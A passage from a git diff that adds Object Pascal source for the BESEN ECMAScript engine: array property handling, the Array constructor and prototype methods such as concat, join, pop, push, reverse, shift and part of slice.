Put(TBESEN(Instance).KeyIDManager.List[ID],V,Throw); + end; +end; + +function TBESENObjectArray.DefineOwnPropertyEx(const P:TBESENString;const Descriptor:TBESENObjectPropertyDescriptor;Throw:TBESENBoolean;var Current:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; +var OldLenDesc,NewLenDesc:TBESENObjectPropertyDescriptor; + NewLen,OldLen:TBESENUInt32; + NewWritable:boolean; + Index:int64; + Num:double; +begin + GetOwnProperty('length',OldLenDesc,BESENLengthHash); + OldLen:=TBESEN(Instance).ToUINT32(OldLenDesc.Value); + if P='length' then begin + if not (boppVALUE in Descriptor.Presents) then begin + result:=inherited DefineOwnPropertyEx('length',Descriptor,Throw,Current,BESENLengthHash); + exit; + end; + NewLenDesc:=Descriptor; + NewLen:=TBESEN(Instance).ToUInt32(Descriptor.Value); + Num:=TBESEN(Instance).ToNum(Descriptor.Value); + if (NewLen<>Num) or not BESENIsFinite(Num) then begin + raise EBESENRangeError.CreateUTF16('DefineOwnProperty for "'+P+'" failed'); + end; + if NewLen>=OldLen then begin + ArrayLength:=NewLen; + result:=inherited DefineOwnPropertyEx('length',Descriptor,Throw,Current,BESENLengthHash); + exit; + end; + if not ((boppWRITABLE in OldLenDesc.Presents) and (bopaWRITABLE in OldLenDesc.Attributes)) then begin + if Throw then begin + raise EBESENTypeError.CreateUTF16('DefineOwnProperty for "'+P+'" failed'); + end else begin + result:=false; + exit; + end; + end; + if ((boppWRITABLE in NewLenDesc.Presents) and (bopaWRITABLE in NewLenDesc.Attributes)) or not (bopaWRITABLE in NewLenDesc.Attributes) then begin + NewWritable:=true; + end else begin + NewWritable:=false; + NewLenDesc.Presents:=NewLenDesc.Presents+[boppWRITABLE]; + NewLenDesc.Attributes:=NewLenDesc.Attributes+[bopaWRITABLE]; + end; + result:=inherited DefineOwnPropertyEx('length',NewLenDesc,Throw,Current,BESENLengthHash); + if not result then begin + exit; + end; + ArrayLength:=NewLen; + while NewLen<OldLen do begin + dec(OldLen); + if not Delete(BESENArrayIndexToStr(OldLen),false) then begin + NewLenDesc.Value:=BESENNumberValue(OldLen+1); + if not NewWritable then begin + NewLenDesc.Attributes:=NewLenDesc.Attributes-[bopaWRITABLE]; + end; + inherited DefineOwnPropertyEx('length',NewLenDesc,false,Current,BESENLengthHash); + if Throw then begin + raise EBESENTypeError.CreateUTF16('DefineOwnProperty for "'+P+'" failed'); + end else begin + result:=false; + exit; + end; + end; + end; + if not NewWritable then begin + NewLenDesc:=BESENUndefinedPropertyDescriptor; + NewLenDesc.Presents:=NewLenDesc.Presents+[boppWRITABLE]; + NewLenDesc.Attributes:=NewLenDesc.Attributes-[bopaWRITABLE]; + inherited DefineOwnPropertyEx('length',NewLenDesc,false,Current,BESENLengthHash); + end; + result:=true; + end else if ToIndex(P,Index) then begin + if (Index>=OldLen) and not ((boppWRITABLE in OldLenDesc.Presents) and (bopaWRITABLE in OldLenDesc.Attributes)) then begin + if Throw then begin + raise EBESENTypeError.CreateUTF16('DefineOwnProperty for "'+P+'" failed'); + end else begin + result:=false; + exit; + end; + end; + result:=inherited DefineOwnPropertyEx(P,Descriptor,false,Current,Hash); + if not result then begin + if Throw then begin + raise EBESENTypeError.CreateUTF16('DefineOwnProperty for "'+P+'" failed'); + end else begin + result:=false; + exit; + end; + end; + if Index>=OldLen then begin + ArrayLength:=Index+1; + OldLenDesc.Value:=BESENNumberValue(Index+1); + inherited DefineOwnPropertyEx('length',OldLenDesc,false,Current,BESENLengthHash); + end; + result:=true; + end else begin + result:=inherited DefineOwnPropertyEx(P,Descriptor,Throw,Current,Hash); + end; +end; + +function TBESENObjectArray.GetArrayIndex(const Index:TBESENUINT32;var AResult:TBESENValue;Base:TBESENObject=nil):boolean; + function Fallback:boolean; + begin + result:=Get(BESENArrayIndexToStr(Index),AResult,Base); + end; +var Prop:TBESENObjectProperty; +begin + result:=false; + if not assigned(Base) then begin + Base:=self; + end; + if Index<TBESENUINT32(Properties.ArrayItemCount) then begin + Prop:=Properties.ArrayGet(Index); + if assigned(Prop) then begin + if ([boppVALUE,boppWRITABLE]*Prop.Descriptor.Presents)<>[] then begin + BESENCopyValue(AResult,Prop.Descriptor.Value); + end else if ([boppGETTER,boppSETTER]*Prop.Descriptor.Presents)<>[] then begin + GetGetter(Base,AResult,Prop.Descriptor); + end else begin + AResult.ValueType:=bvtUNDEFINED; + end; + result:=true; + exit; + end; + end; + result:=Fallback; +end; + +procedure TBESENObjectArray.PutArrayIndex(const Index:TBESENUINT32;const V:TBESENValue;Throw:TBESENBoolean); + procedure Fallback; + begin + Put(BESENArrayIndexToStr(Index),V,Throw); + end; + procedure PutSetter(Obj:TBESENObject;Prop:TBESENObjectProperty); + var TempValue:TBESENValue; + ValuePointers:array[0..0] of PBESENValue; + begin + if (boppSETTER in Prop.Descriptor.Presents) and assigned(Prop.Descriptor.Setter) then begin + ValuePointers[0]:=@V; + TBESEN(Instance).ObjectCall(TBESENObject(Prop.Descriptor.Setter),BESENObjectValue(Obj),@ValuePointers,1,TempValue); + exit; + end; + if Throw then begin + BESENThrowNoSetter(Prop.Key); + end; + end; +var Prop:TBESENObjectProperty; +begin + if Index<TBESENUINT32(Properties.ArrayItemCount) then begin + Prop:=Properties.ArrayGet(Index); + if assigned(Prop) then begin + if ([boppVALUE,boppWRITABLE]*Prop.Descriptor.Presents)<>[] then begin + if bopaWRITABLE in Prop.Descriptor.Attributes then begin + BESENCopyValue(Prop.Descriptor.Value,V); + end else begin + if Throw then begin + BESENThrowPut(Prop.Key); + end; + end; + exit; + end else if ([boppGETTER,boppSETTER]*Prop.Descriptor.Presents)<>[] then begin + PutSetter(self,Prop); + exit; + end; + end; + end; + Fallback; +end; + +function TBESENObjectArray.DeleteArrayIndex(const Index:TBESENUINT32;Throw:TBESENBoolean):TBESENBoolean; + function Fallback:boolean; + begin + result:=Delete(BESENArrayIndexToStr(Index),Throw); + end; +var Prop:TBESENObjectProperty; +begin + if Index<TBESENUINT32(Properties.ArrayItemCount) then begin + Prop:=Properties.ArrayGet(Index); + if assigned(Prop) then begin + result:=Delete(Prop.Key,Throw); + exit; + end; + end; + result:=Fallback; +end; + +procedure TBESENObjectArray.Finalize; +begin + inherited Finalize; +end; + +procedure TBESENObjectArray.Mark; +begin + inherited Mark; +end; + +procedure TBESENObjectArray.Push(const AValue:TBESENValue); +var v,tv:TBESENValue; + ValuePointers:array[0..0] of PBESENValue; +begin + Get('push',v); + if (v.ValueType=bvtOBJECT) and assigned(TBESENObject(v.Obj)) and TBESENObject(v.Obj).HasCall then begin + ValuePointers[0]:=@AValue; + TBESEN(Instance).ObjectCall(TBESENObject(v.Obj),BESENObjectValue(self),@ValuePointers,1,tv); + end; +end; + +end. diff --git a/Core/JS/BESENObjectArrayConstructor.pas b/Core/JS/BESENObjectArrayConstructor.pas new file mode 100644 index 0000000..40d3c96 --- /dev/null +++ b/Core/JS/BESENObjectArrayConstructor.pas @@ -0,0 +1,123 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectArrayConstructor; +{$i BESEN.inc} + +interface + +uses SysUtils,Math,BESENConstants,BESENTypes,BESENObject,BESENObjectFunction,BESENValue,BESENObjectPropertyDescriptor; + +type TBESENObjectArrayConstructor=class(TBESENObjectFunction) + public + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + procedure Construct(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); override; + procedure Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); override; + function HasConstruct:TBESENBoolean; override; + function HasCall:TBESENBoolean; override; + procedure NativeIsArray(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + end; + +implementation + +uses BESEN,BESENGlobals,BESENObjectArray,BESENNumberUtils,BESENErrors; + +constructor TBESENObjectArrayConstructor.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + + ObjectClassName:='Function'; + ObjectName:='Array'; + + RegisterNativeFunction('isArray',NativeIsArray,1,[bopaWRITABLE,bopaCONFIGURABLE],false); +end; + +destructor TBESENObjectArrayConstructor.Destroy; +begin + inherited Destroy; +end; + +procedure TBESENObjectArrayConstructor.Construct(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +var r1:TBESENObjectArray; + r3:TBESENValue; + l:int64; + i:integer; +begin + r3:=BESENEmptyValue; + r1:=TBESENObjectArray.Create(Instance,TBESEN(Instance).ObjectArrayPrototype,false); + TBESEN(Instance).GarbageCollector.Add(r1); + if CountArguments>0 then begin + r1.GarbageCollectorLock; + try + if (CountArguments=1) and (Arguments^[0]^.ValueType=bvtNUMBER) then begin + r3:=Arguments^[0]^; + l:=TBESEN(Instance).ToUInt32(r3); + if (l<>r3.Num) or not BESENIsFinite(r3.Num) then begin + raise EBESENRangeError.Create('Bad array length'); + end; + r1.Put('length',r3,true,BESENLengthHash); + end else begin + for i:=0 to CountArguments-1 do begin + r1.DefineOwnProperty(inttostr(i),BESENDataPropertyDescriptor(Arguments^[i]^,[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE]),true); + end; + r3:=BESENNumberValue(CountArguments); + r1.Put('length',r3,true,BESENLengthHash); + end; + finally + r1.GarbageCollectorUnlock; + end; + end; + AResult.ValueType:=bvtOBJECT; + AResult.Obj:=r1; +end; + +procedure TBESENObjectArrayConstructor.Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +begin + Construct(ThisArgument,Arguments,CountArguments,AResult); +end; + +function TBESENObjectArrayConstructor.HasConstruct:TBESENBoolean; +begin + result:=true; +end; + +function TBESENObjectArrayConstructor.HasCall:TBESENBoolean; +begin + result:=true; +end; + +procedure TBESENObjectArrayConstructor.NativeIsArray(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + ResultValue.ValueType:=bvtBOOLEAN; + ResultValue.Bool:=(CountArguments>0) and (((Arguments^[0]^.ValueType=bvtOBJECT) and assigned(Arguments^[0]^.Obj)) and (TBESENObject(Arguments^[0]^.Obj).ObjectClassName='Array')); +end; + +end. diff --git a/Core/JS/BESENObjectArrayPrototype.pas b/Core/JS/BESENObjectArrayPrototype.pas new file mode 100644 index 0000000..0a701bc --- /dev/null +++ b/Core/JS/BESENObjectArrayPrototype.pas @@ -0,0 +1,1330 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectArrayPrototype; +{$i BESEN.inc} + +interface + +uses Math,BESENConstants,BESENTypes,BESENObject,BESENObjectArray,BESENValue,BESENObjectPropertyDescriptor, + BESENObjectBoolean; + +type TBESENObjectArrayPrototype=class(TBESENObjectArray) + public + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + procedure NativeToString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeToLocaleString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeConcat(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeJoin(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativePop(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativePush(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeReverse(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeShift(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSlice(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSort(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSplice(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeUnshift(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeIndexOf(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeLastIndexOf(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeEvery(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSome(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeForEach(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeMap(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeFilter(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeReduce(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeReduceRight(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + end; + +implementation + +uses BESEN,BESENErrors,BESENGlobals,BESENArrayUtils,BESENHashUtils,BESENNumberUtils,BESENStringUtils,BESENLocale; + +constructor TBESENObjectArrayPrototype.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectClassName:='Array'; + ObjectName:='Array'; + + if (TBESEN(Instance).Compatibility and COMPAT_JS)<>0 then begin + OverwriteData('name',BESENStringValue(ObjectName),[]); + end; + + RegisterNativeFunction('toString',NativeToString,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('toLocaleString',NativeToLocaleString,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('concat',NativeConcat,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('join',NativeJoin,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('pop',NativePop,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('push',NativePush,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('reverse',NativeReverse,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('shift',NativeShift,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('slice',NativeSlice,2,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('sort',NativeSort,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('splice',NativeSplice,2,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('unshift',NativeUnshift,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('indexOf',NativeIndexOf,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('lastIndexOf',NativeLastIndexOf,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('every',NativeEvery,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('some',NativeSome,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('forEach',NativeForEach,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('map',NativeMap,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('filter',NativeFilter,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('reduce',NativeReduce,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('reduceRight',NativeReduceRight,1,[bopaWRITABLE,bopaCONFIGURABLE],false); +end; + +destructor TBESENObjectArrayPrototype.Destroy; +begin + inherited Destroy; +end; + +procedure TBESENObjectArrayPrototype.NativeToString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var v,ov:TBESENValue; +begin + TBESEN(Instance).ToObjectValue(ThisArgument,ov); + if not ((ov.ValueType=bvtOBJECT) and assigned(TBESENObject(ov.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + TBESENObject(ov.Obj).GarbageCollectorLock; + try + TBESENObject(ov.Obj).Get('join',v); + if BESENIsCallable(v) then begin + TBESEN(Instance).ObjectCall(TBESENObject(v.Obj),ThisArgument,nil,0,ResultValue); + end else begin + TBESEN(Instance).ObjectPrototype.NativeToString(ThisArgument,Arguments,CountArguments,ResultValue); + end; + finally + TBESENObject(ov.Obj).GarbageCollectorUnlock; + end; +end; + +procedure TBESENObjectArrayPrototype.NativeToLocaleString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var ov,v,vo,vs:TBESENValue; + i,l:int64; + Separator,s:TBESENString; +begin + TBESEN(Instance).ToObjectValue(ThisArgument,ov); + if not ((ov.ValueType=bvtOBJECT) and assigned(TBESENObject(ov.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + TBESENObject(ov.Obj).GarbageCollectorLock; + try + TBESENObject(ov.Obj).Get('length',v,TBESENObject(ov.Obj),BESENLengthHash); + l:=TBESEN(Instance).ToUINT32(v); + Separator:=BESENLocaleFormatSettings.ListSeparator; + s:=''; + if l>0 then begin + i:=0; + while i<l do begin + if i>0 then begin + s:=s+Separator; + end; + TBESENObject(ov.Obj).Get(BESENArrayIndexToStr(i),v); + TBESEN(Instance).ToObjectValue(v,vo); + if (vo.ValueType<>bvtOBJECT) or not assigned(TBESENObject(vo.Obj)) then begin + raise EBESENTypeError.Create('No valid object'); + end; + TBESENObject(vo.Obj).Get('toLocaleString',v); + if (v.ValueType<>bvtOBJECT) or not (assigned(TBESENObject(v.Obj)) and TBESENObject(v.Obj).HasCall) then begin + raise EBESENTypeError.Create('No callable'); + end; + TBESEN(Instance).ObjectCall(TBESENObject(v.Obj),vo,nil,0,vs); + if v.ValueType<>bvtSTRING then begin + raise EBESENTypeError.Create('No string'); + end; + s:=s+TBESEN(Instance).ToStr(vs); + inc(i); + end; + end; + finally + TBESENObject(ov.Obj).GarbageCollectorUnlock; + end; + ResultValue:=BESENStringValue(s); +end; + +procedure TBESENObjectArrayPrototype.NativeConcat(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var a,eA:TBESENObjectArray; + ov,e,v:TBESENValue; + l:int64; + pk:TBESENString; + k,n:int64; + i:integer; +begin + TBESEN(Instance).ToObjectValue(ThisArgument,ov); + if not ((ov.ValueType=bvtOBJECT) and assigned(TBESENObject(ov.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + a:=TBESENObjectArray.Create(Instance,TBESEN(Instance).ObjectArrayPrototype,false); + TBESEN(Instance).GarbageCollector.Add(a); + a.GarbageCollectorLock; + TBESENObject(ov.Obj).GarbageCollectorLock; + try + e:=BESENEmptyValue; + e:=BESENObjectValue(TBESENObject(ov.Obj)); + n:=0; + i:=0; + while true do begin + if (e.ValueType=bvtOBJECT) and assigned(e.Obj) and (e.Obj is TBESENObjectArray) then begin + eA:=TBESENObjectArray(e.Obj); + eA.Get('length',v,eA,BESENLengthHash); + l:=TBESEN(Instance).ToUINT32(v); + k:=0; + while k<l do begin + BESENArrayCheckTooLong(n,1); + pk:=BESENArrayIndexToStr(k); + if eA.Get(pk,v) then begin + a.DefineOwnProperty(BESENArrayIndexToStr(n),BESENDataPropertyDescriptor(v,[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE]),false); + end; + inc(n); + inc(k); + end; + end else begin + BESENArrayCheckTooLong(n,1); + A.DefineOwnProperty(BESENArrayIndexToStr(n),BESENDataPropertyDescriptor(e,[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE]),false); + inc(n); + end; + if i<CountArguments then begin + e:=Arguments^[i]^; + inc(i); + end else begin + break; + end; + end; + a.Len:=n; + finally + a.GarbageCollectorUnlock; + TBESENObject(ov.Obj).GarbageCollectorUnlock; + end; + ResultValue:=BESENObjectValue(a); +end; + +procedure TBESENObjectArrayPrototype.NativeJoin(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var ov,v:TBESENValue; + i,l:int64; + UseComma:boolean; + Separator,s:TBESENString; +begin + TBESEN(Instance).ToObjectValue(ThisArgument,ov); + if not ((ov.ValueType=bvtOBJECT) and assigned(TBESENObject(ov.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + TBESENObject(ov.Obj).GarbageCollectorLock; + try + v:=BESENEmptyValue; + TBESENObject(ov.Obj).Get('length',v,TBESENObject(ov.Obj),BESENLengthHash); + l:=TBESEN(Instance).ToUINT32(v); + UseComma:=(CountArguments=0) or (Arguments^[0]^.ValueType=bvtUNDEFINED); + if UseComma then begin + Separator:=','; + end else begin + Separator:=TBESEN(Instance).ToStr(Arguments^[0]^); + end; + s:=''; + if l>0 then begin + i:=0; + while i<l do begin + if i>0 then begin + s:=s+Separator; + end; + TBESENObject(ov.Obj).Get(BESENArrayIndexToStr(i),v); + if not (v.ValueType in [bvtUNDEFINED,bvtNULL]) then begin + s:=s+TBESEN(Instance).ToStr(v); + end; + inc(i); + end; + end; + finally + TBESENObject(ov.Obj).GarbageCollectorUnlock; + end; + ResultValue:=BESENStringValue(s); +end; + +procedure TBESENObjectArrayPrototype.NativePop(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var ov,v:TBESENValue; + l:int64; + si:TBESENString; +begin + TBESEN(Instance).ToObjectValue(ThisArgument,ov); + if not ((ov.ValueType=bvtOBJECT) and assigned(TBESENObject(ov.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + ResultValue:=BESENUndefinedValue; + TBESENObject(ov.Obj).GarbageCollectorLock; + try + TBESENObject(ov.Obj).Get('length',v,TBESENObject(ov.Obj),BESENLengthHash); + l:=TBESEN(Instance).ToUINT32(v); + if l=0 then begin + TBESENObject(ov.Obj).Put('length',BESENNumberValue(0),true,BESENLengthHash); + ResultValue:=BESENUndefinedValue; + end else begin + si:=BESENArrayIndexToStr(l-1); + TBESENObject(ov.Obj).Get(si,ResultValue); + TBESENObject(ov.Obj).Delete(si,true); + TBESENObject(ov.Obj).Put('length',BESENNumberValue(l-1),true,BESENLengthHash); + end; + finally + TBESENObject(ov.Obj).GarbageCollectorUnlock; + end; +end; + +procedure TBESENObjectArrayPrototype.NativePush(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var ov,v:TBESENValue; + l:int64; + p:integer; +begin + TBESEN(Instance).ToObjectValue(ThisArgument,ov); + if not ((ov.ValueType=bvtOBJECT) and assigned(TBESENObject(ov.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + TBESENObject(ov.Obj).GarbageCollectorLock; + try + TBESENObject(ov.Obj).Get('length',v,TBESENObject(ov.Obj),BESENLengthHash); + l:=TBESEN(Instance).ToUINT32(v); + for p:=0 to CountArguments-1 do begin + BESENArrayCheckTooLong(l,1); + TBESENObject(ov.Obj).Put(BESENArrayIndexToStr(l),Arguments^[p]^,true); + inc(l); + end; + TBESENObject(ov.Obj).Put('length',BESENNumberValue(l),true,BESENLengthHash); + finally + TBESENObject(ov.Obj).GarbageCollectorUnlock; + end; + ResultValue:=BESENNumberValue(l); +end; + +procedure TBESENObjectArrayPrototype.NativeReverse(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var ov,uv,lv:TBESENValue; + l:int64; + up,lp:TBESENString; + middle,lower,upper:longword; + ue,le:TBESENBoolean; +begin + TBESEN(Instance).ToObjectValue(ThisArgument,ov); + if not ((ov.ValueType=bvtOBJECT) and assigned(TBESENObject(ov.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + TBESENObject(ov.Obj).GarbageCollectorLock; + try + uv:=BESENEmptyValue; + lv:=BESENEmptyValue; + TBESENObject(ov.Obj).Get('length',lv,TBESENObject(ov.Obj),BESENLengthHash); + l:=TBESEN(Instance).ToUINT32(lv); + middle:=l shr 1; + lower:=0; + while lower<>middle do begin + upper:=l-(lower+1); + up:=BESENArrayIndexToStr(upper); + lp:=BESENArrayIndexToStr(lower); + le:=TBESENObject(ov.Obj).Get(lp,lv); + ue:=TBESENObject(ov.Obj).Get(up,uv); + if le and ue then begin + TBESENObject(ov.Obj).Put(lp,uv,true); + TBESENObject(ov.Obj).Put(up,lv,true); + end else if ue and not le then begin + TBESENObject(ov.Obj).Put(lp,uv,true); + TBESENObject(ov.Obj).Delete(up,true); + end else if le and not ue then begin + TBESENObject(ov.Obj).Put(up,lv,true); + TBESENObject(ov.Obj).Delete(lp,true); + end; + inc(lower); + end; + finally + TBESENObject(ov.Obj).GarbageCollectorUnlock; + end; + ResultValue:=BESENObjectValue(TBESENObject(ov.Obj)); +end; + +procedure TBESENObjectArrayPrototype.NativeShift(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var ov,v:TBESENValue; + l,k:int64; + fp,tp:TBESENString; +begin + TBESEN(Instance).ToObjectValue(ThisArgument,ov); + if not ((ov.ValueType=bvtOBJECT) and assigned(TBESENObject(ov.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + TBESENObject(ov.Obj).GarbageCollectorLock; + try + TBESENObject(ov.Obj).Get('length',v,TBESENObject(ov.Obj),BESENLengthHash); + l:=TBESEN(Instance).ToUINT32(v); + if l=0 then begin + TBESENObject(ov.Obj).Put('length',BESENNumberValue(0),true,BESENLengthHash); + ResultValue:=BESENUndefinedValue; + end else begin + TBESENObject(ov.Obj).Get('0',ResultValue); + k:=1; + while k<l do begin + fp:=BESENArrayIndexToStr(k); + tp:=BESENArrayIndexToStr(k-1); + if TBESENObject(ov.Obj).Get(fp,v) then begin + TBESENObject(ov.Obj).Put(tp,v,true); + end else begin + TBESENObject(ov.Obj).Delete(tp,true); + end; + inc(k); + end; + TBESENObject(ov.Obj).Delete(BESENArrayIndexToStr(l-1),true); + TBESENObject(ov.Obj).Put('length',BESENNumberValue(l-1),true,BESENLengthHash); + end; + finally + TBESENObject(ov.Obj).GarbageCollectorUnlock; + end; +end; + +procedure TBESENObjectArrayPrototype.NativeSlice(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var a:TBESENObjectArray; + ov,v:TBESENValue; + l:int64; + Pk:TBESENString; + rs,re,k,f,n:int64; +begin + TBESEN(Instance).ToObjectValue(ThisArgument,ov); + if not ((ov.ValueType=bvtOBJECT) and assigned(TBESENObject(ov.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + a:=TBESENObjectArray.Create(Instance,TBESEN(Instance).ObjectArrayPrototype,false); + TBESEN(Instance).GarbageCollector.Add(a); + a.GarbageCollectorLock; + TBESENObject(ov.Obj).GarbageCollectorLock; + try + TBESENObject(ov.Obj).Get('length',v,TBESENObject(ov.Obj),BESENLengthHash); + l:=TBESEN(Instance).ToUINT32(v); + if CountArguments>0 then begin + rs:=TBESEN(Instance).ToInt32(Arguments^[0]^); + end else begin + rs:=0; + end; + if rs<0 then begin + k:=l+rs; + if k<0 then begin + k:=0; + end; + end else begin + k:=rs; + if l<k then begin + k:=l; + end; + end; + if (CountArguments>1) and (Arguments^[1]^.ValueType<>bvtUNDEFINED) then begin + 